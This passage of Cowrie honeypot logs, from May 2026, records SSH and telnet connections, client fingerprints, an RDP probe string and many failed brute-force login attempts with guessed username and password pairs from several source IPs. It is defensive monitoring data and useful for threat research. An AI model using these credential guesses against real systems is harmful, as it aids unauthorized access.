192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:12.890579Z","src_ip":"31.40.204.166","session":"8988c9fc0d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:13.311543Z","src_ip":"31.40.204.166","session":"8988c9fc0d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.00781083106995,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:14.340707Z","src_ip":"152.42.224.71","session":"db0ac721cddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:14.485434Z","src_ip":"31.40.204.166","session":"8988c9fc0d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33550,"dst_ip":"10.17.0.5","dst_port":23,"session":"781f59f1b409","protocol":"telnet","message":"New connection: 152.42.224.71:33550 (10.17.0.5:23) [session: 781f59f1b409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:14.933359Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38944,"dst_ip":"10.17.0.5","dst_port":23,"session":"01891cbf2a5a","protocol":"telnet","message":"New connection: 152.42.224.71:38944 (10.17.0.5:23) [session: 01891cbf2a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:16.445940Z"}
{"eventid":"cowrie.session.closed","duration":47.58681559562683,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:17.613738Z","src_ip":"152.42.224.71","session":"7278df07f8f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38954,"dst_ip":"10.17.0.5","dst_port":23,"session":"029b37d974f0","protocol":"telnet","message":"New connection: 152.42.224.71:38954 (10.17.0.5:23) [session: 029b37d974f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:17.880047Z"}
{"eventid":"cowrie.session.closed","duration":117.37334442138672,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:18.220417Z","src_ip":"152.42.224.71","session":"77e39d8c2916","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38960,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ed2db05d873","protocol":"telnet","message":"New connection: 152.42.224.71:38960 (10.17.0.5:23) [session: 6ed2db05d873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:19.403928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f279b51580","protocol":"telnet","message":"New connection: 152.42.224.71:38966 (10.17.0.5:23) [session: 57f279b51580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:20.429820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38976,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed5aa55c339","protocol":"telnet","message":"New connection: 152.42.224.71:38976 (10.17.0.5:23) [session: 0ed5aa55c339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:21.225335Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38978,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d71703a000f","protocol":"telnet","message":"New connection: 152.42.224.71:38978 (10.17.0.5:23) [session: 7d71703a000f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:21.928751Z"}
{"eventid":"cowrie.session.closed","duration":37.85311770439148,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:22.307661Z","src_ip":"152.42.224.71","session":"32801d9ffaf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"743d9dccf801","protocol":"telnet","message":"New connection: 152.42.224.71:38984 (10.17.0.5:23) [session: 743d9dccf801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:22.994944Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43676,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4d870b5d08","protocol":"ssh","message":"New connection: 31.40.204.166:43676 (159.203.135.109:22) [session: 8d4d870b5d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:24.285547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:24.293296Z","src_ip":"31.40.204.166","session":"8d4d870b5d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:24.414901Z","src_ip":"31.40.204.166","session":"8d4d870b5d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:25.108183Z","src_ip":"31.40.204.166","session":"8d4d870b5d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:26.289567Z","src_ip":"31.40.204.166","session":"8d4d870b5d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.727739334106445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:29.614754Z","src_ip":"152.42.224.71","session":"1ff1cad4e8f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":35090,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6dc44147a31","protocol":"ssh","message":"New connection: 109.172.54.111:35090 (159.203.135.109:22) [session: d6dc44147a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:30.694410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:30.699700Z","src_ip":"109.172.54.111","session":"d6dc44147a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:30.798344Z","src_ip":"109.172.54.111","session":"d6dc44147a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:31.187624Z","src_ip":"109.172.54.111","session":"d6dc44147a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00231862068176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:31.944374Z","src_ip":"152.42.224.71","session":"3799957b2e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:32.289356Z","src_ip":"109.172.54.111","session":"d6dc44147a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55036,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac5317bba88","protocol":"telnet","message":"New connection: 152.42.224.71:55036 (10.17.0.5:23) [session: cac5317bba88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:32.841481Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55044,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cbe034db1b1","protocol":"telnet","message":"New connection: 152.42.224.71:55044 (10.17.0.5:23) [session: 1cbe034db1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:33.201555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53901,"dst_ip":"159.203.135.109","dst_port":22,"session":"94e8de5c8502","protocol":"ssh","message":"New connection: 152.42.212.128:53901 (159.203.135.109:22) [session: 94e8de5c8502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:35.039472Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:35.045858Z","src_ip":"152.42.212.128","session":"94e8de5c8502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:35.050202Z","src_ip":"152.42.212.128","session":"94e8de5c8502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53962,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff45b9ee96e2","protocol":"ssh","message":"New connection: 31.40.204.166:53962 (159.203.135.109:22) [session: ff45b9ee96e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:36.607206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:36.612383Z","src_ip":"31.40.204.166","session":"ff45b9ee96e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:36.793328Z","src_ip":"31.40.204.166","session":"ff45b9ee96e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:37.211166Z","src_ip":"31.40.204.166","session":"ff45b9ee96e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:38.503288Z","src_ip":"31.40.204.166","session":"ff45b9ee96e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48250,"dst_ip":"10.17.0.5","dst_port":23,"session":"03eaf14f80cd","protocol":"telnet","message":"New connection: 152.42.224.71:48250 (10.17.0.5:23) [session: 03eaf14f80cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:39.052447Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48262,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dfad00c4cc5","protocol":"telnet","message":"New connection: 152.42.224.71:48262 (10.17.0.5:23) [session: 4dfad00c4cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:41.457006Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":49396,"dst_ip":"159.203.135.109","dst_port":22,"session":"9633aa8e5641","protocol":"ssh","message":"New connection: 213.209.159.56:49396 (159.203.135.109:22) [session: 9633aa8e5641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:45.547403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:45.553065Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:45.635722Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.401414155960083,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:45.847219Z","src_ip":"152.42.224.71","session":"01891cbf2a5a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland","message":"login attempt [holland/holland] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:46.035680Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland1","message":"login attempt [holland/holland1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:47.127365Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.766300678253174,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:47.156526Z","src_ip":"152.42.224.71","session":"5a364f96c779","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45836,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad1591e41ae","protocol":"ssh","message":"New connection: 31.40.204.166:45836 (159.203.135.109:22) [session: cad1591e41ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:48.186250Z"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland123","message":"login attempt [holland/holland123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:48.212874Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:48.217724Z","src_ip":"31.40.204.166","session":"cad1591e41ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:48.317638Z","src_ip":"31.40.204.166","session":"cad1591e41ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:48.997016Z","src_ip":"31.40.204.166","session":"cad1591e41ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland1234","message":"login attempt [holland/holland1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:49.298497Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52878,"dst_ip":"10.17.0.5","dst_port":23,"session":"608cde1522ca","protocol":"telnet","message":"New connection: 152.42.224.71:52878 (10.17.0.5:23) [session: 608cde1522ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:50.157487Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:50.181243Z","src_ip":"31.40.204.166","session":"cad1591e41ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland12345","message":"login attempt [holland/holland12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:50.383636Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.10516619682312,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:51.033606Z","src_ip":"152.42.224.71","session":"7d71703a000f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:51.468771Z","src_ip":"213.209.159.56","session":"9633aa8e5641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.02702188491821,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:51.906956Z","src_ip":"152.42.224.71","session":"029b37d974f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.02361273765564,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:53.480523Z","src_ip":"152.42.224.71","session":"4dfad00c4cc5","protocol":"telnet"}
